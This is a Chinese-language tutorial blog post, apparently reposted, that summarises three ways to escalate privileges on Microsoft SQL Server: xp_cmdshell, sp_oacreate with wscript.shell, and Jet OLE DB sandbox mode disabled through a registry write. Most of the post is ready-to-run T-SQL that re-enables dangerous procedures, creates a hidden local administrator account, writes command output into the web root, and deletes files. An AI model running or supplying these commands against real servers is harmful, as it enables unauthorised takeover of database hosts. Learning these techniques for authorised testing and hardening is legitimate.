SQL Server提权总结与记录-xp

SQL Server提权总结与记录-xp,第1张

0x00 Sql server提权基础

Sql server也称Mssql Server,是微软家的数据库,但是要注意,sql server同样也能在linux中安装使用,本文主要记录sql server的提权方式。

sql server提权主要依赖于sql server自带的存储过程

存储过程是一个可编程的函数,它在数据库中创建并保存,是存储在服务器中的一组预编译过的T-SQL语句。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式(可以将存储过程理解为函数调用的过程),使用execute命令执行存储过程。

主要分为系统存储过程、扩展存储过程、用户自定义的存储过程三大类。

系统存储过程主要存储在master数据库中,以sp_为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名;扩展存储过程则是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以xp_为前缀,使用方法与系统存储过程类似;用户定义的存储过程是SQLServer的使用者编写的存储过程。

接下来就常见提权方式做一次总结与学习


0x01 xp_cmdshell提权

扩展存储过程中xp_cmdshell是一个开放接口,可以让SQLserver调用cmd命令。此存储过程在SQLserver2000中默认开启,2005本身及之后的版本默认禁止,所以想要使用该存储过程,就需要拥有SA账号相应权限,使用sp_configure将其开启。

SAMicrosoft SQLServer的管理员帐号,拥有最高权限,它可以执行扩展存储过程,并获得返回值。

2005xp_cmdshell的权限一般是system,而2008多数为nt authority\network service

所以xp_cmdshell的提权前提为两个:

拿到sa权限的账户密码sqlserver服务未降权

这里使用caidao进行连接一句话,使用工具自带的连接器进行连接数据库,填入对应的信息即可连接数据库

连接数据库后,先检查xp_cmdshell是否存在。

select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell';


结果为1,则证明存在。当结果为0时,可以通过下列命令恢复

如果xp_cmdshell被删除,则可以通过下列命令重新加载。
dbcc addextendedproc("xp_cmdshell","xplog70.dll");
如果连xplog70.dll也被删除,则可以通过下列命令恢复(未验证)
exec master.sys.sp_addextendedproc 'xp_cmdshell', 'C:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll';

当通过xp_cmdshell执行命令时,出现下列错误时,

-2147217900:[Microsoft][ODBC SQL Server Driver][SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"

可以通过下列语句开启xp_cmdshell

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

使用xp_cmdshell的方式为

EXEC master..xp_cmdshell 'whoami';


提权成功。


0x02 sp_oacreate提权

sp_oacreate可以删除、复制、移动文件,还能配合sp_oamethod来写文件执行cmd

sp_oacreatesp_oamethod两个过程分别用来创建和执行脚本语言,换言之就是xp_cmdshell能执行的sp_oacreatesp_oamethod同样能胜任。但是使用此方法时sp_oacreate没有回显,所以一般用于xp_cmdshell无法使用时。

以下命令用来开启sp_oacreate,不开启的话同样会有阻止组件的报错。

EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'Ole Automation Procedures',1;RECONFIGURE

提权命令如下

declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test test /add';
exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test /add'


由于没有回显,去服务器上查看成功,用起来没有xp_cmdshell方便

不过没有回显可以配合一些其它 *** 作配合完成读取文件,比如可以通过xp_dirtree列目录可以查到物理路径

execute xp_dirtree 'c:'           # 列出所有c:\文件、目录、子目录
execute xp_dirtree 'c:',1        #  只列c:\目录
execute xp_dirtree 'c:',1,1      # 列c:\目录、文件

那么就可以先将执行的命令写入到网站目录下

declare @shell int;
exec sp_oacreate 'wscript.shell',@shell output;
exec sp_oamethod @shell,'run',null,'C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt';

然后再进行读取 *** 作即可

除此之外,还可以通过替换上列命令中的run和组件完成其它 *** 作

复制文件
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'copyfile',null,'c:\1.txt' ,'c:\2.txt'
移动文件
declare @o int;
exec sp_oacreate 'scripting.filesystemobject', @o out;
exec sp_oamethod @o, 'movefile',null,'c:\1.txt' ,'c:\2.txt'
删除文件
DECLARE @Result int;
DECLARE @FSO_Token int;
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT;
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'C:\Inetpub\wwwroot\1.txt';
EXEC @Result = sp_OADestroy @FSO_Token;

0x03 sandbox提权

当执行命令方法无法使用时,可以使用沙盒进行提权。

沙盒模式SandBoxMode是一种安全功能。在沙盒模式下,Access只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性,则可认为它是安全的。例如,诸如KillShell之类的函数可能被用来损坏计算机上的数据和文件,因此它们被视为不安全的。当Access以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。

OLE DB Driver for SQL Server是用于访问数据的底层COM API,是应用程序链接到SQL Server的的驱动程序。

本质是修改注册表,默认情况下,注册表中mdb数据库不允许执行系统命令,但是开启沙盒模式,就准许mdb文件执行数据库,通过查询方式调用mdb文件,执行参数,绕过系统本身自己的执行命令,实现mdb文件执行命令。

提权命令如下:

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("whoami")')


没有开启的话报错,通过下面命令开启组件

exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ad Hoc Distributed Queries',1;
reconfigure;

再次执行会报下面错误

接着关闭沙盒

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet.0\Engines','SandBoxMode','REG_DWORD',0;

沙盒模式`SandBoxMode`参数含义(默认是20:在任何所有者中禁止启用安全模式
1 :为仅在允许范围内
2 :必须在access模式下
3:完全开启

再次执行命令

没有报错,说明执行成功。没有回显,可以通过之前的办法将加显写入文本后读取即可。

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("C:\\windows\\system32\\cmd.exe /c whoami > C:\\Inetpub\\wwwroot\\1.txt")')


提权成功。

欢迎分享,转载请注明来源:内存溢出

原文地址: https://outofmemory.cn/langs/995010.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-05-21
下一篇 2022-05-21

发表评论

登录后才能评论

评论列表(0条)

保存